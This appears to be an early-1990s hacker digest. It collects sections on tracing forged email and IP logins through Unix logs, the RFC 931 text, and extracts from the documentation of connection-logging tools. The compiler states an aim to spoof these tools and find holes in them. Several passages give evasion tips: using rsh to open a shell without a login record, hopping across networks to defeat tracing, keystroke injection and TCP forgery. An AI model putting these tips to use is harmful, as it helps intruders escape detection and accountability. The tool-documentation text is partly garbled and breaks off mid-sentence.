mail. The short answer is: use log files and talk to other sysadmins so they'll do the same. A forged messages is injected into the mail system at some point, with a particular set of header lines. The header lines inserted after that point will be real. You can verify that the lines are real by checking the logs on each system to see that they match what's in the message. When you find a discrepancy, you are close to the insertion point. Then you can poke around there to determine how the forged message was inserted into the mail system, and by who. As you'll see, there are lots of places where it could've come in. The long answer is specific to the programs involved. My description covers sendmail and uucp. I encourage people to clean up this description and add their own ideas, suggestions, and mailer programs. Look in the message for its message-ID and Received: lines. These will tell you what systems the message has gone through. Start with the last system (the recipient's system). Check the sendmail log (or equivalent) for that message-ID. This will let you map the message-ID to a queue-ID (generally AAxxxxx or ABxxxxx) which is in every log line that refers to this message. The log will show the message-ID, a from= line, and a set of to= lines indicating how it was delivered. If the log entries are there, you can probably believe the Received: line for that time, which indicates where the message came from. If it came from an Internet site, go back to that site and check its logs. If it came from uucp, sendmail won't know its origin, but you can check the uucp logs for a line at that time indicating "XQT (...rmail...)". [If you don't find one, the message was probably inserted onto your system by running sendmail or /bin/mail manually.] The system name in the uucp log "XQT" line will tell you part of the file name of the incoming mail. Probably the message came from that system, but uucp doesn't check for this, so somebody could've sent you uucp files containing somebody else's system name. Look back in the log for files coming in with this system name in the filename. You can also look in the uucp SYSLOG file, which contains the size of each file transferred, to help figure out which file contained the message. In some cases there is no way to unambiguously track the message here (until uux and uuxqt logging is improved to show the queue ID that it's executing). But in most cases you'll find where the message came in from. Contact the site admin for that site, indicate that you received the message at such and such a time, and have them check their uucp logs. They should find that the message was transferring at the same time. If not, it means somebody called your system and claimed to be them doing uucp; if you have a separate uucp login/password per site, you'll know that either you or they let the password get out. Change it. (Note that anyone who is root on their system can read this password out of their L.sys file.) If you don't have a separate uucp login/password for each site, fix this! You can't tell when your password is leaked, which site it leaked through! Also, don't put phone numbers and uucp logins in email; tell the remote site by phone. If you don't know their phone number, find it out -- how are you going to tell them about troubles on your uucp link when your link is broken? If the other site finds that the same files were moving in their logs as in your logs, then have them scan back through the log to find an XQT QUE'D entry for this message. You should know what's in the rmail command's arguments (since they're in your XQT log message) and the same arguments will appear in the XQT QUE'D message. That shows you the date and time when the message entered the uucp queue on their system. Then their site admin can cross-reference to the sendmail log to verify that the message exited sendmail at the same time it entered uucp (if not, the message was inserted manually by someone running a "uux" command on their system), and trace the sendmail log back. They can also check the Received: lines in the message to help find it in the sendmail log, or simply grep for the message-ID. If the message had come into sendmail via an SMTP connection rather than via uucp, the Received: line should say "Received: from xxxxx". If there are two addresses in XXXXX then check both of them; one is how that site identified itself in the SMTP protocol; the other is what the host table said about the Internet address where the connection is coming from. Have the site admin on that/those sites check their logs and work back from there. If there is no record of sendmail handling the message on that site, but your sendmail says it was received from that site, either someone on that site inserted the message (e.g. by doing "telnet yoursite smtp") or some other site impersonated their IP address. (A third possibility is that your host table or domain name cache has been hacked to make the site-they-connected-from appear to have the name of some other site). Start poking around with what users and processes were running on their system, and double-check the name server or hosts file on your system. Checking the "last" and "lastcomm" and cron logs may also be quite helpful to find sendmail and uucico and uux runs, either to disambiguate other log entries or if you lose the trail. It would help a lot to have an inetd log, too; has anyone hacked this into inetd? (Inetd is the master daemon that handles incoming connections for a whole mess of protocols, including telnet, rlogin, ftp, etc -- but not smtp). It's harder to trace a forgery that occurs by changing the contents of an existing message. E.g. the sender sent one version, the recipient got another. It could have been modified at each site along the way as it sat in a queue. It may be possible to track this down by checking the mesasge sizes at each site, but you have to account for the header lines changing. You could send a second message through the same path, with the same initial byte count, see what transformations happen to it along the way, and compare its logged byte counts to the counts of the forged message. If you can trace the message all the way back to the sender's site, but they claim they didn't send it, then the last and lastcomm and cron logs are useful for seeing who was on the system and what processes were running. Lastcomm (Unix process accounting) really should be logging the PID of each process so that its log can be backtraced into the other log files (sendmail and uucp both log the PID). Perhaps some other user sent the mail while su'd to that user, or injected it into the local sendmail daemon by connecting to the SMTP port on the local machine. Perhaps they used the TIOCSTI ioctl to insert fake 'typing' into one of the user's windows (perhaps even an iconified window) that caused the message to be sent "by them". This can be done when nobody else is logged in, but requires a process left around from some earlier time -- which should show up in lastcomm logs. Or perhaps someone just walked by their terminal, popped up a shell window, sent the message, and destroyed the window. This can be done in seconds if the message is in a prepared file (e.g. in /tmp), but again you'll find it in the process logs. If the user logs into that system via TCP, the TCP connection can be compromised (e.g. by forging a packet to appear to be from their workstation or x terminal). The next packet that is sent from the real TCP connection will cause the connection to reset, but that could happen hours later, and will just look like temporary network trouble (the window disappears or the rlogin says "Connection closed"). This is harder to spot since neither end of the link won't see anything odd until much later (except that the terminal may get some output resulting from the mail being sent, like another shell prompt; this could be disguised by clever use of terminal escape codes so it overprints the previous shell prompt). Lastcomm showing that the last thing to run on that pty was the mailer, even if the end of the pty (its shell terminating) happens much later, is probably your best clue there. An SMTP tcp connection can also be altered in this way. I have heard that someone at MIT is logging the first 50 bytes of every packet that goes through their Internet gateways, and keeping it for days. If you were really desperate, and the breakin happened at MIT, you could try locating the person doing the logging. (Needless to say the log is not available to everyone, since it includes all the login names and passwords used through the gateway!!!) Also don't forget that a claimed forgery may be a real message that the sender wishes to repudiate. As you can see, tracking a message back through five or ten sites this way would involve a lot of work and coordination, as well as requiring quick action so that that the forgery is noticed and traced before each of those sites' logs are removed. I encourage sites to keep a few weeks' worth of uucp and sendmail logs so that this kind of forgery can be more easily traced. Compress them to save space. Suns come with shell scripts that keep the log files for N days; you can hack these to alter N, move logs to places where there's more space, compress, or whatever. ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------ Date: Fri, 24 Jan 92 19:36:13 -0700 Subject: IP.tracing ============================================================================== Section Name chapter.sec.version 00/00/00 IP.tracing 01.08.0 01/21/92 ------------------------------------------------------------------------------ DATA: >one question: how do you trace someone through the net? in progress/after the >fact. - needed for current section of paper, thanks. It is directly related to the method they used to enter the net. For instance the /var/log/syslog file contains alot of information from folks using sendmail. There are obviously uucp logs. Some folks run front ends to the progs run out of inetd, which causes some logging -- to where... I dunno, depends on how they compiled the software. Best bet is to watch these directories: /var/log /var/adm >ok, on the logging thing, I was thinking of tracing IP packets... could you >expand on that a little? Again, nothing in *standard* unix. Sure, theoretically, I could, and I know that some sites do, trap and log all IP packets. >netstat, ofiles, rfc931, and packages that will log >what it sends all seem to have something to do with it... Yes, sites *could* run some of this stuff, but to say WHERE they are logging it is impossible. One would certainly want to do a long ps listing to see what processes are running. One implementation of RFC931 has a daemon called authd, but most folks run it out of inetd, so that would go un-noticed. I personally feel that the easiest way to detect such changes is to do a comparison to an "out of the box" system. For instance, compare inetd.conf files -- files created under /var/log and /var/adm, and so on.... >'last' reads some file and tells where the connect to a particular accnt ... It reads wtmp (on suns /var/adm/wtmp). It logs normal logins, but not things like rsh. This obviously makes things like rsh HOST sh -i very useful. Also note that certain versions of utils like xterm and screen don't do logging, due to the non-writability of utmp on some systems and those apps not being setuid to a uid that can write to it. Basically, if you come in and even touch the "login" program, wtmp will have mention of it. Again, not rsh doesn't. >also what methods could be used to enter the net (brief, for now) Well, obviously you need to make it to a node on "the net". This is done by either: dialing up a host dialing up a terminal server* *= Some terminal servers are WIDE OPEN. Ask some folks about terminus... There are other ways, but I don't know much more about them. I know there is a packet radio network and a few sites will actually forward their packets. ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------ Date: Fri, 24 Jan 92 19:47:24 -0700 Subject: more.IP.tracing ============================================================================== Section Name chapter.sec.version 00/00/00 more.IP.tracing 01.09.0 01/22/92 ------------------------------------------------------------------------------ DATA: Subject: Finding out where someone remotely logged in from >Suppose a program is running as the login shell under telnetd (or is a >script run by the login shell, or some such). Is there a good way it >can discover the remote host from which the login was made? >The best way I've been able to figure out is to get the tty name (from >'who am i') and look it up in /etc/utmp. Unfortunately, utmp only >contains the first 16 characters of the remote host name. It seems to >me that there should be a good way to do this, since the telnetd could >just do a getpeername and find out its address. (In fact, either >telnetd or login *does*, in order to make the entry in utmp.) But >this information doesn't seem to be easily available to child >processes. The quick answer is that you can use either netstat or ofiles. netstat gives you a list of connections, and you have to pick out the one that corresponds to the utmp entry, then use netstat -n to get the IP address. Alternatively, you can use ofiles on the corresponding in.telnetd process (the parent of the shell), and see where file descriptors 0, 1 and 2 point to. That's where they're coming from. -------------------- I have a similar problem only we are using System V and thus our hostname of origin isn't in /etc/utmp Is there a way to use netstat (which _does_ show the origin) and associate the results with individual terminals or users? [...] Paul Mc Auley | God is real . . . . . . --------------------------| AKA pmcauley@maths.tcd.ie | . . . . . . . . Unless Declared an Integer. ---------------------- Ok, not much of a solution, but at least it works: I had to do this for a client a couple of years ago. The solution I used then was (lacking source at their site) as follows: If you are using inetd (if not, the same _principle_ applies but the implementation is a trifle more complex), simply write a short programme that replaces telnetd. This programme does a getpeername() on it's stdin descrip- tor and squirrels it away somewhere before invoking the _real_ telnet or login daemon (with any arguments IT was originally called with). Places to squirrel the information: 1/ In an environment variable. This sometimes works but can allow a user to `fake' their location and anyway, some telnetd/rlogind programmes refuse to pass over an inherited environment. 2/ In a file indexed by something. Pick a suitable index - I used the PID since I already had (fast) routines to trace process parentage that would allow you to find the highest parent (closest to init) who'se parent WAS init - this would be the telnet/rlogin daemon (having the same PID as the new programme). It would be nice to know the tty name that the daemon will allocate, but unfortunately this hasn't been decided yet (there are frigs round this but they're unpleasant). 3/ fork/exec - child exec's the real daemon, parent closes it's descriptors and watches for the PGRP of the child at which point the tty name is known (hackity hack). ---------------------- > netstat gives you a list of connections, and you have to pick out > the one that corresponds to the utmp entry, then use netstat -n to > get the IP address. > Alternatively, you can use ofiles on the corresponding in.telnetd > process (the parent of the shell), and see where file descriptors > 0, 1 and 2 point to. That's where they're coming from. I've looked into this, and run into some problems: netstat will truncate a symbolic host name to 16 characters (as does finger and the entry in utmp). This can be easily overcome with -n, which causes it to give numeric IP addresses. Unfortunately, netstat gives no way to associate a particular connection with the telnetd that it feeds. In fact, all incoming telnet connections list the same address on "this end" (port 512). ofiles might be useful, but we don't have it (we're running SunOS 4.1.1), as far as I can tell. I have found that pstat -u will give all sorts of useful information about a process, including where internal control blocks are located. The 'files' field has pointers to the open files table, and pstat -f will list information about the open files table. But, alas, the peer address is not listed. Does anybody know of any other utilities to investigate? ----------------- RARP can catch IP forgery; encryption systems like Kerberose, simply ignore forged packets. ------------------ > "any desired IP address" Seems to me that you're limited to using ip >addresses in the range assigned to the subnet of your local wire. >Otherwise, you're not going to be able to interact with (or attack) any >systems (even ones on the local wire). And if you do change the ip address >to an unused one and then back to the real one when you're done, you will >have given away your site and genneral location. This is a common misconception. Yes, you need to use an address in your sub-net if you wish to receive any reverse traffic, but not all popular protocols rely on two-way communications. NFS servers, for instance, perform the requested operation and then send the reply back; if the reply can't reach the sender, the operation has still been carried out, so who cares if the reverse communication isn't possable? Simmilarly, many network time protocols use one-way datagrams. ---------------- [...]look at the /etc/services file. Each of these services is a possable security problem. ----------------- ME: Hmmm, someone tried to break in from 'foo.bar.edu'. "Hey, root@foo.bar.edu. Someone tried to crack my machine from yours. Could you check your logs for Wed Jan 22 07:00:00 EST? Thanks." ROOT: "Someone from baz.bletch.com logged into our guest account from 04:00:00 to 08:30:00 this morning. Hmm, I think I'm going to start keeping a closer eye on the use of my guest account from now on." ME: "Thanks, root@foo.bar.edu." "Hey, root@baz.bletch.com ..." -------------- There are many other groups working on reducing internet anonymity: for example, Athena, the auth-acct list, SAAG, even rfc931-users. ^^^^^^^^^^^^^^ ^^^^ anyone know who these groups are? -------------- Try tracing this... telnet to nsf.sun.ac.uk log into janet pad connect to {some janet site} now connect from there ta a certain SPAN node now patch out to the internet There are at least 2 of the SPAN-IP gateways (where?) Try tracing that convaluded mess! It makes your terminus look like a kindergarden session: You have involved 3 networks, 2 countries, and about 5 science/networking agencies. Its a game of hunt the duristiction folks. ------------- ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------ Date: Fri, 24 Jan 92 19:55:52 -0700 Subject: rfc931 ============================================================================== Section Name chapter.sec.version 00/00/00 rfc.931 01.10.0 01/22/92 ------------------------------------------------------------------------------ DATA: Network Working Group Mike StJohns Request for Comments: 931 TPSC Supersedes: RFC 912 January 1985 Authentication Server STATUS OF THIS MEMO This RFC suggests a proposed protocol for the ARPA-Internet community, and requests discussion and suggestions for improvements. This is the second draft of this proposal (superseding RFC 912) and incorporates a more formal description of the syntax for the request and response dialog, as well as a change to specify the type of user identification returned. Distribution of this memo is unlimited. INTRODUCTION The Authentication Server Protocol provides a means to determine the identity of a user of a particular TCP connection. Given a TCP port number pair, it returns a character string which identifies the owner of that connection on the server's system. Suggested uses include automatic identification and verification of a user during an FTP session, additional verification of a TAC dial up user, and access verification for a generalized network file server. OVERVIEW This is a connection based application on TCP. A server listens for TCP connections on TCP port 113 (decimal). Once a connection is established, the server reads one line of data which specifies the connection of interest. If it exists, the system dependent user identifier of the connection of interest is sent out the connection. The service closes the connection after sending the user identifier. RESTRICTIONS Queries are permitted only for fully specified connections. The local/foreign host pair used to fully specify the connection are taken from the query connection. This means a user on Host A may only query the server on Host B about connections between A and B. QUERY/RESPONSE FORMAT The server accepts simple text query requests of the form , where is the TCP port (decimal) on the target (server) system, and is the TCP port (decimal) on the source (user) system. For example: 23, 6191 The response is of the form , : : where , are the same pair as the query, is a keyword identifying the type of response, and is context dependent. For example: 23, 6191 : USERID : MULTICS : StJohns.DODCSC.a 23, 6193 : USERID : TAC : MCSJ-MITMUL 23, 6195 : ERROR : NO-USER RESPONSE TYPES A response can be one of two types: USERID In this case, is a string consisting of an operating system name, followed by a ":", followed by user identification string in a format peculiar to the operating system indicated. Permitted operating system names are specified in RFC-923, "Assigned Numbers" or its successors. The only other names permitted are "TAC" to specify a BBN Terminal Access Controller, and "OTHER" to specify any other operating system not yet registered with the NIC. ERROR For some reason the owner of could not be determined, tells why. The following are suggested values of and their meanings. INVALID-PORT Either the local or foreign port was improperly specified. NO-USER The connection specified by the port pair is not currently in use. UNKNOWN-ERROR Can't determine connection owner; reason unknown. Other values may be specified as necessary. CAVEATS Unfortunately, the trustworthiness of the various host systems that might implement an authentication server will vary quite a bit. It is up to the various applications that will use the server to determine the amount of trust they will place in the returned information. It may be appropriate in some cases restrict the use of the server to within a locally controlled subnet. APPLICATIONS 1) Automatic user authentication for FTP A user-FTP may send a USER command with no argument to the server-FTP to request automatic authentication. The server-FTP will reply with a 230 (user logged in) if it can use the authentication. It will reply with a 530 (not logged in) if it cannot authenticate the user. It will reply with a 500 or 501 (syntax or parameter problem) if it does not implement automatic authentication. Please note that no change is needed to currently implemented servers to handle the request for authentication; they will reject it normally as a parameter problem. This is a suggested implementation for experimental use only. 2) Verification for privileged network operations. For example, having the server start or stop special purpose servers. 3) Elimination of "double login" for TAC and other TELNET users. This will be implemented as a TELNET option. FORMAL SYNTAX ::= ::= "," ::= ::= | ::= ":" ERROR ":" ::= ":" USERID ":" ":" ::= INVALID-PORT | NO-USER | UNKNOWN-ERROR ::= TAC | OTHER | MULTICS | UNIX ...etc. (See "Assigned Numbers") Notes on Syntax: 1) White space (blanks and tab characters) between tokens is not important and may be ignored. 2) White space, the token separator character (":"), and the port pair separator character (",") must be quoted if used within a token. The quote character is a back-slash, ASCII 92 (decimal) ("\"). For example, a quoted colon is "\:". The back-slash must also be quoted if its needed to represent itself ("\\"). Notes on User Identification Format: The user identifier returned by the server should be the standard one for the system. For example, the standard Multics identifier consists of a PERSONID followed by a ".", followed by a PROJECTID, followed by a ".", followed by an INSTANCE TAG of one character. An instance tag of "a" identifies an interactive user, and instance tag of "m" identifies an absentee job (batch job) user, and an instance tag of "z" identifies a daemon (background) user. Each set of operating system users must come to a consensus as to what the OFFICIAL user identification for their systems will be. Until they register this information, they must use the "OTHER" tag to specify their user identification. Notes on User Identification Translation: Once you have a user identifier from a remote system, you must then have a way of translating it into an identifier that meaningful on the local system. The following is a sketchy outline of table driven scheme for doing this. The table consists of four columns, the first three are used to match against, the fourth is the result. USERID Opsys Address Result MCSJ-MITMUL TAC 26.*.*.* StJohns * MULTICS 192.5.42.* = * OTHER 10.0.0.42 anonymous MSJ ITS 10.3.0.44 StJohns The above table is a sample one for a Multics system on MILNET at the Pentagon. When an authentication is returned, the particular application using the userid simply looks for the first match in the table. Notice the second line. It says that any authentication coming from a Multics system on Net 192.5.42 is accepted in the same format. Obviously, various users will have to be registered to use this facility, but the registration can be done at the same time the use receives his login identity from the system. ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------ Date: Fri, 24 Jan 92 20:04:46 -0700 Subject: hacker.trkr.tools ============================================================================== Section Name chapter.sec.version 00/00/00 hacker.trkr.tools 01.11.0 01/24/92 ------------------------------------------------------------------------------ DATA: There are a number of "Hacker Tracker Tools", most have something to do with rfc931, which is bad news... fortunatly it's not standard yet, but it is becomming so... the documents below came with some of these packages, they are worth reading as certain info can be gleaned from them, such as where they put logs, and the programs names that run these things. From this it should be able to tell if one of these is running on a system, and devise ways to spoof them. They also alude to security holes, that we can tease out... and offer pointers to other programs in the same class... Shortcommings and weaknesses are also identified. I havn't collected all of the programs yet, but am doing so. these docs are chopped extracts from the program docs that come with the programs. They need to be summerised further... (maybe a chart or two...) Programs of this type that I'm awaire of are: AUTHD: 147.28.0.33 /pub/misc/authd301.tar.Z KSTUFF: 128.174.5.50 /pub/kstuff-0.18.tar.Z RARP: 137.208.3.5 /pub/src/datacom/rarpd.tar.Z OFILES: 128.95.136.1 /pub/misc/ofiles.? LOG_TCP: 147.28.0.3 /pub/unix/netware/log_tcp.? LUMBERJACK:(?) 128.218.1.13 /comp.sources.unix/Volume16/lumberjack ACTIV:(?) 128.256.135.4 /mirrors/unix-c/utils/activ.? PAUTHD: ftp.lysator.liu.se /pub/daemons/pauthd-1.2.tar.Z FTPD: wuarchive.wustl.edu /packages/ftpd.wuarchive.shar also see the 'related software' section of tcp_log docs (below) for pointers to rshd, rlogind, tftp and authutil. If anyone knows of others please mention them. --------------- some news extracts: There are many anonymous entrances into most systems. Local modem pools are untraceable without a court order. PC's connected to a local Ethernet can run their own copy of software and gain access to mutch they shouldn't Even on those systems wheree we require authentication, there's often nothing I can do after the fact to trace who attacked you. We don't log every IP connection made, and on a UNIX system with 30 simultanious users often the best I can do is say "it was one of those 30" Indeed on a default SunOS system, even if you tell me while you're being attacked, 'bout all I can do is run NETSTAT and agree with you that someone on the local machine is doing it--without OFILES or some other non-standard tool, I don't believe there's a way to trace an IP connection back to the process that owns it. ------------- [...]it's still a pain in the neck to figure out which USER made a connection unless you can run PS and OFILES and so on WHILE the connection is in progress. But there are tools like rfc931 which solve this. [...]it's still a pain in the neck to figgure our which MACHINE generated a particular TCP packet, since TCP is insecure, unless you run RARP and various other tools--like secure Ethernets, or Kerberos. ------------------------------------------------------------------------ TCP-LOG: General description: -------------------- With this package you can monitor connections to the SYSTAT, FINGER, FTP, TELNET, RLOGIN, RSH and EXEC network services. Connections are logged through the syslog(3) facility. A requirement is that daemons are started by the inetd program or something similar. The programs are tiny front ends that just report the remote host name and then invoke the real network daemon. In the most common case, no changes should be required to existing software or to configuration files. Just move the vendor-provided daemons to another place and install the front ends into their original places. Installation details are given below. Early versions of the programs were tested with Ultrix >= 2.2, with SunOS >= 3.4 and ISC 2.2. The first official release has been installed on a wide variety of systems (BSD, SYSV, Apollo) without modification. The present release should still run on top of most BSD-style TCP/IP implementations. Optional feature: ----------------- When compiled with -DHOSTS_ACCESS, the front-end programs support a simple form of access control that is based on host (or domain) names, internet addresses or network numbers, network daemon process names and (optionally) netgroups (a NIS, formerly YP, feature). Wild cards are supported. If a host requests connection to a network daemon, and if the (daemon, host) pair is matched by an entry in the /etc/hosts.allow file, access is granted. Otherwise, if the (daemon, host) pair is matched by an entry in the /etc/hosts.deny file, access is denied. Otherwise, access is granted. More details are provided in the hosts_access(5) manual page. This form of access control may be useful if it can not be implemented at a more suitable level (such as an internet router). Major enhancement: ------------------ It has been brought to my attention that AUTHENTICATION BASED ON HOST ADDRESS TO HOST NAME MAPPING CAN EASILY BE SPOOFED BY PLAYING GAMES WITH SOME DOMAIN NAME SERVER. A little research led me to the conclusion that many existing RSHD and RLOGIND implementations do not account for this potential problem. The present versions of the front-end programs provide a way to take care of the problem. After mapping a client host address to a host name, the front-end programs now verify that the host name maps to the same host address. The idea is that it is much easier to compromise the address->name map of some random name server than to compromise the name->address map that is specific to your domain. If the source is compiled with -DPARANOID, the front ends justs drop the connection in case of a host name/address mismatch. Otherwise, the front ends just ignore the bad host name and use the host address when consulting the access control files. Minor enhancements: ------------------- The host access control files now support more types of wild cards and (optionally) allow the use of netgroup names. Netgroup support is usually available on systems with NIS (formerly YP) software. Related software: ----------------- Versions of rshd and rlogind, hacked to report the remote user name as well, are available for anon ftp (ftp.win.tue.nl:/pub/logdaemon.tar.Z). That archive also contains a tftpd source that logs the remote host name (nice if you want to know who is interested in your /etc/passwd file). All those programs have been tested only with SunOS >= 4.0. Another way to manage access to tcp/ip services is illustrated by the servers provided with the authutil package (comp.sources.unix volume 22). This has the advantage that one will get the remote username from any host supporting RFC 931 security. By installing the auth package (same volume) one supports RFC 931 security too (but YOU WILL HAVE TO BELIEVE WHAT THE REMOTE HOST TELLS YOU). Eventually one can start cutting off unauthenticated connections. This is obviously a much more advanced approach than what my front-end programs provide. The present package is more suitable for those who lack the resources to install anything that requires more than just renaming a couple of executables. Configuration and installation (the easy way): ---------------------------------------------- An advanced installation recipe is given lateron. The "easy way" recipe requires no changes to existing software or configuration files. If you don't run Ultrix, you don't need the miscd front-end program. The Ultrix miscd daemon implements among others the SYSTAT service, which pipes the output from the WHO command to standard output. By default, connections are logged to the same place where the sendmail log entries go. If connections should be logged elsewhere, adjust the LOG_MAIL macro in the miscd.c and tcpd.c files, and update your syslog configuration file (usually, /etc/syslog.conf). Most Ultrix versions do not provide this flexibility, though. The tcpd program is intended for monitoring connections to the telnet, finger, ftp, exec, rsh and rlogin services. Decide which services you want to be monitored. Move the vendor-provided daemon programs to the location specified by the REAL_DAEMON_DIR macro in the file tcpd.c, and copy the tcpd front end to the locations where the vendor-provided daemons used to be. That is, one copy of the tcpd front end for each service that you want to monitor. --------------------------------------------------------------------------- AUTHD: authd - authentication server daemon tcpuid, tcpuname - find out which user owns a connection authuser - remote authentication library authd is an implementation of RFC 931, the Authentication Server under BSD. RFC 931 provides the name of the user owning a TCP connection. This helps network security: UNLESS TCP ITSELF IS COMPROMISED, it is impossible to forge mail or news between computers supporting RFC 931. It also BECOMES MUCH EASIER TO TRACE ATTACKERS than in the current, largely anonymous, network. authd requires no changes to current code: every connect() and accept() is authenticated automatically, with no loss of efficiency. tcpuid and tcpuname are the same program, but more suitable for local use from the command line by a user or system administrator. They show which local user created a given TCP connection. authuser is a library encapsulating client use of RFC 931. It talks to a remote Authentication Server to find out the username on the other side of a given connection. Only root can install authd. However, most current systems are insecure enough that any user can run tcpuid and tcpuname. authuser is meant for use by any program. [...] 2. Requirements authd requires netstat, and it pokes around in several BSD-specific kernel structures. It is not inherently portable code. Nevertheless, it has been compiled under Ultrix, SunOS, and Convex UNIX, and it probably doesn't take much work to get running under pretty much any BSD system. authuser should compile and run without trouble on any BSD system. You must be root to install authd. However, authd's sister utilities, tcpuid and tcpuname, will probably work anyway if /dev/kmem is readable. Any program can use the authuser library. 3. How to configure authd You can change CC or CCOPTS in Makefile if you want. If you want authd to record connections through syslog at LOG_DEBUG, define -DUSE_SYSLOG in the Makefile. 5. How to install authd If you don't have privileges, skip this part. By default, authd, tcpuid, and tcpuname are installed in /etc, authuser.o is installed as /usr/lib/libauthuser.a, authuser.h is installed in /usr/include, authuser.3 is installed in /usr/man/man3, and authd.8, tcpuid.8, and tcpuname.8 are installed in /usr/man/man8. The binaries are installed setgid to group kmem. If you want to change these defaults, edit INSTALL. Then run INSTALL in a root shell; the script will check every action with you before doing it. To test tcpuname, make sure it is in your path, and run netstatuid. You should get a report of all active network connections including usernames. To test authuser and authd, run ./test. You should get an ``everything looks okay'' message. 6. TODO list fast multiple-connection version of tcpuid/tcpuname, like netstatuid? should write a few notes on the exact security provided by rfc 931 authd - Authentication Server daemon authd is a daemon implement- ing the RFC 931 Authentication Server protocol. It should be in- voked by a network server, such as or for connections to TCP port 113 (auth). The client host gives two numbers separated by a comma. interprets the numbers as TCP port numbers for the local and remote sides respectively of a TCP connection between this host and the client host. It returns a line of the form local- port, remoteport: USERID: UNIX: username where username is the name of the user on this side of the specified connection. If does not have an authentication entry for that connection, it re- turns a line of the form localport, remoteport: ERROR: UNKNOWN- ERROR. None. None known. authd version 3.01, February 7, 1991. Placed into the public domain by Daniel J. Bernstein. Partially inspired by code written by Vic Abell for ofiles. The authenti- cation server is more secure than passwords in some ways, but less secure than passwords in many ways. (It's certainly better than no password at all---e.g., for mail or news.) It is not the final solution. For an excellent discussion of security problems within the TCP/IP protocol suite, see Steve Bellovin's article ``Security Problems in the TCP/IP Protocol Suite.'' authtcp(1), attachport(1), authuser(3), tcp(4), inetd(8) tcpuid - show the user id that created a network connection tcpuid prints the numeric user id of the user who created the network connection specified by its arguments. Lots, none of which should happen if the specified connection is valid. None known. tcpuid version 3.01, February 7, 1991. Placed into the public domain by Daniel J. Bernstein. Partially inspired by code written by Vic Abell for ofiles. authd(8), tcpuname(8) tcpuname - show the user name that created a network connection tcpuname prints the username of nection is valid. None known. tcpuname version 3.01, February 7, 1991. Placed into the public domain by Daniel J. Bernstein. Partially inspired by code written by Vic Abell for ofiles. authd(8), tcpuid(8) ------------------------------------------------------------------------ OFILES: ofiles - show owner of open file or network connection [ ] [ ] [ ] [ ] displays the owner, process identification (PID), type, command and the number of the inode associated with an open in- stance of a file or a network connection. An open file may be a regular file, a file system or a directory; it is specified by its path name. When the path name refers to a file system, will display the owners of all open instances of files in the system. An open network connection is specified by the kernel address of its Protocol Control Block (PCB), as displayed by when its option is specified. displays information about its usage if no options are specified. This option selects verbose, debugging output. This option may be used only on DYNIX hosts. It sets optional name list and core file paths. is the path to the file from which should obtain the addresses of kernel symbols, instead of from is the path to the file from which should obtain the value of kernel symbols, instead of from This option is useful for de- bugging system crash dumps. This option specifies that the argu- ments identify network connections by their hexadecimal, Protocol Control Block (PCB) addresses. PCB addresses can be obtained via the option of This option makes it possible to determine the lo- cal processes that are using network connections in the LISTEN through ESTABLISHED states. This option specifies that should print process identifiers only - e. g., so that the output may be piped to These are path names of files, directories and file sys- tems; or, if the option has been specified, network connections, identified by their hexadecimal Protocol Control Block (PCB) ad- dresses. displays for each for file paths, an interpretation of the type of name - file, directory or file system; for network connections, the kernel address linkages, starting with the file structure and proceeding through the socket structure and the In- ternet Protocol Control Block (INPCB) structure to the PCB the login name of the user of the process that has open the identif- ier of the process that has open a file type explanation: if is the current working directory of the process if is being used as a regular file by the process, optionally followed by: if the process has a shared lock on the file if the process has an ex- clusive lock on the file if is the root directory of the process if is a socket the file descriptor number, local to the process the user command that opened the inode number of the file This example shows the use of to discover the owner of the open, regu- lar file, % ofiles /usr/spool/lpd/lock /usr/spool/lpd/lock USER PID TYPE FD CMD INODE root 110 file/x 3 lpd 26683 This example shows the use of and to identify the local endpoint of the ``smtp'' network connection. The first column of output from is the PCB address; it is used as the argument to along with the option. % netstat -aA | grep smtp 80f6770c tcp 0 0 *.smtp *.* LISTEN % ofiles -n 80f6770c file 80102b64 of socket 80f6758c of INPCB 80f6780c of PCB 80f6770c USER PID TYPE FD CMD root 105 sock 5 sendmail Errors are identified with messages on the standard error file. returns a one (1) if any error was detected, including the failure to locate any It returns a zero (0) if no errors were detected and if it was able to display owner information about all the specified can't identify SunOS 4.0 stream files, so it doesn't follow their file structure pointers correctly when read- ing their inodes. That results in the display of erroneous inode numbers for stream files. The option limits its search to net- work connections in the LISTEN through ESTABLISHED states. Since reads kernel memory in its search for open files and network con- nections, rapid changes in kernel memory may produce unsatisfac- tory results. C. Spencer is the original author. Michael Ditto, Tom Dunigan, Alexander Dupuy, Gary Nebbett and Richard Tobin con- tributed. Michael Spitzer, Ray Moody, and Vik Lall of the Purdue University Computing Center converted the program to a variety of UNIX environments. Vic Abell of the Purdue University Computing Center added the option. inode(5), mount(1), kill(1), tcp(4). ---------------------------------------------------------------------- RARPD: * Reverse Address Resolution Protocol server * Routines that handle network I/O, and process RARP packets. /* EtherRead reads the packet and checks to see it's the right opcode, etc. */ /* Make sure we're looking for the right kind of Ethernet address. */ * Send a response packet with our addresses in 'source' addresses. rarpPacket comes in with the target addresses filled in, as well as the sizes, etc. */ /* remember sender's hardware address, so the packet can be returned */ /* fill in reply opcode and source addresses */ * This programs sends a request packet to the rarp server and waits forever * for a reply, then displays the response packet. /* An IP prototcol address */ /* An ethernet addresss for broadcast */ /*fill in reply opcode and source and target address*/ /* broadcast a request packet */ /* prints an array a for n characters (as hexadecimal digits) with dots in * between. /* prints an array a for n characters (as decimal digits) with dots in * between. * test program for Reverse Address Resolution Protocol server * This programs sends a request packet to the rarp server and waits forever * for a reply, then displays the response packet. /* An Ethernet hardware address (3Mbps) */ /* An IP prototcol address */ /* An ethernet addresss for broadcast */ /* broadcast a request packet */ * added support for 3Mbps Ethernets. * This server uses files (/etc/rarpdb.*) to create a table of mappings * between Ethernet (hardware) addresses and 32-bit IP protocol (logical) * addresses. * It can be expanded to include other kinds of hardware and protocol * addresses, if needed. * It provides a service for client machines (usually diskless workstations) * to return a logical address when given a hardware address. **************************************************************** * Possible future extensions: * 1)Fix Our_Ether_Addr to reflect multiple networks. Right now *gethostid is used, which returns the IP address on the first *network, not necessarily the 10 Mbit one. (in OpenEthers) * 2)Change LookUp to use a faster search than sequential. * 3)Support other kinds of 'hardware' or 'protocol' addresses. /*interval to wait before checking to see if disk 